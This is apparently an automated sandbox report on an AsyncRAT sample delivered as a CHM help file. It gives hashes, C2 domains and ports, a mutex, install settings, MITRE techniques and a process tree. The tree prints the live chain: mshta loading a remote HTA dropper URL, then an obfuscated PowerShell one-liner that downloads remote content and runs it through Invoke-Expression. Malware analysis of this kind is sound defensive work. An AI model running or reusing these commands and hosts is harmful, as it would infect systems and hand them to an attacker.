asyncrat | 9ad14a020dc9a937bbe2c2dcd63991e424fe174b96f0131962e24bdd9f823fa3

General

Target

lol.chm
Size

234KB
MD5

29984ec9b0bef9d92e9a2fec99e9b7d0
SHA1

701cdf5b2419f4da8247e6af9eaa376cdf6e2dc4
SHA256

9ad14a020dc9a937bbe2c2dcd63991e424fe174b96f0131962e24bdd9f823fa3
SHA512

be7703f487bccba2e473411288d1a2919358c49d18355f48aa5d73adb652550c33eeb9ca87dd786dbd46748c64c1af11e40ae6e342ef1b38dbe5fecdb667fe08
SSDEEP

6144:KveS9vg8qKoqjkqNdoYzgOS9vg8qKoqjkqDyoaF73:VSBg8iqjkCKUgOSBg8iqjkWaFT

Score

10^/10

asyncrat aaaaaaaaaaaa+++aaaaaaaaaaaa rat

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

https://skynetx.com.br/tarefa.html

Extracted

Family

asyncrat

Version

| Edit 3LOSH RAT

Botnet

AAAAAAAAAAAA+++AAAAAAAAAAAA

C2

chromedata.accesscam.org:7707

chromedata.accesscam.org:4404

chromedata.accesscam.org:5505

chromedata.accesscam.org:3303

chromedata.accesscam.org:2222

chromedata.accesscam.org:6606

chromedata.accesscam.org:8808

chromedata.accesscam.org:5155

chromedata.accesscam.org:5122

chromedata.accesscam.org:8001

chromedata.accesscam.org:9000

chromedata.accesscam.org:9999

chromedata.accesscam.org:8888

cdt.3utilities.com:7707

cdt.3utilities.com:4404

cdt.3utilities.com:5505

cdt.3utilities.com:3303

cdt.3utilities.com:2222

cdt.3utilities.com:6606

cdt.3utilities.com:8808

Mutex

AsyncMutex_6SI8OkPnk

Attributes

delay
3
install
false
install_file
DesbravadorUpdata.exe
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers.
rat asyncrat

Async RAT payload 2 IoCs

rat

Processes:

resource	yara_rule
behavioral2/memory/2768-138-0x0000000000400000-0x0000000000412000-memory.dmp	asyncrat
behavioral2/memory/2768-139-0x000000000040DD7E-mapping.dmp	asyncrat

Blocklisted process makes network request 5 IoCs

Processes:

mshta.exepowershell.exe

flow pid process

8 1904 mshta.exe
9 1904 mshta.exe
11 1904 mshta.exe
13 1904 mshta.exe
17 4584 powershell.exe
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

mshta.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation mshta.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 4584 set thread context of 2768 4584 powershell.exe RegSvcs.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exe

pid process

4584 powershell.exe
4584 powershell.exe
4584 powershell.exe
4584 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 4584 powershell.exe
Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

hh.exe

pid process

4100 hh.exe
4100 hh.exe

flow	pid	process
8	1904	mshta.exe
9	1904	mshta.exe
11	1904	mshta.exe
13	1904	mshta.exe
17	4584	powershell.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation	mshta.exe

description	pid	process	target process
PID 4584 set thread context of 2768	4584	powershell.exe	RegSvcs.exe

pid	process
4584	powershell.exe
4584	powershell.exe
4584	powershell.exe
4584	powershell.exe

description	pid	process
Token: SeDebugPrivilege	4584	powershell.exe

pid	process
4100	hh.exe
4100	hh.exe

Suspicious use of WriteProcessMemory 15 IoCs

Processes:

hh.exemshta.exepowershell.exe

description	pid	process	target process
PID 4100 wrote to memory of 1904	4100	hh.exe	mshta.exe
PID 4100 wrote to memory of 1904	4100	hh.exe	mshta.exe
PID 1904 wrote to memory of 4584	1904	mshta.exe	powershell.exe
PID 1904 wrote to memory of 4584	1904	mshta.exe	powershell.exe
PID 4584 wrote to memory of 3664	4584	powershell.exe	RegSvcs.exe
PID 4584 wrote to memory of 3664	4584	powershell.exe	RegSvcs.exe
PID 4584 wrote to memory of 3664	4584	powershell.exe	RegSvcs.exe
PID 4584 wrote to memory of 2768	4584	powershell.exe	RegSvcs.exe
PID 4584 wrote to memory of 2768	4584	powershell.exe	RegSvcs.exe
PID 4584 wrote to memory of 2768	4584	powershell.exe	RegSvcs.exe
PID 4584 wrote to memory of 2768	4584	powershell.exe	RegSvcs.exe
PID 4584 wrote to memory of 2768	4584	powershell.exe	RegSvcs.exe
PID 4584 wrote to memory of 2768	4584	powershell.exe	RegSvcs.exe
PID 4584 wrote to memory of 2768	4584	powershell.exe	RegSvcs.exe
PID 4584 wrote to memory of 2768	4584	powershell.exe	RegSvcs.exe

C:\Windows\hh.exe
"C:\Windows\hh.exe" C:\Users\Admin\AppData\Local\Temp\lol.chm
1⤵
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4100

C:\Windows\System32\mshta.exe
"C:\Windows\System32\mshta.exe" https://skynetx.com.br/tarefa.html
2⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1904

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $kaoskdoaksd = [System.NET.WebRequest]::Create('https://msantosm.com.br/logo.png');$ajdiasjdijasd = $kaoskdoaksd.GetResponse();$KASDJASDU = ([System.IO.StreamReader]($ajdiasjdijasd.GetResponseStream())).ReadToEnd()| .('{1}{0}'-f'EX','I')
3⤵
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4584

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
4⤵
PID:3664

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
4⤵
PID:2768

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

memory/1904-133-0x0000000000000000-mapping.dmp

Download
memory/2768-138-0x0000000000400000-0x0000000000412000-memory.dmp

Filesize
72KB

Download
memory/2768-139-0x000000000040DD7E-mapping.dmp

Download
memory/4584-135-0x0000000000000000-mapping.dmp

Download
memory/4584-136-0x000001F5279B0000-0x000001F5279D2000-memory.dmp

Filesize
136KB

Download
memory/4584-137-0x000001F50E7C0000-0x000001F50F281000-memory.dmp

Filesize
10.8MB

Download
memory/4584-140-0x000001F50E7C0000-0x000001F50F281000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads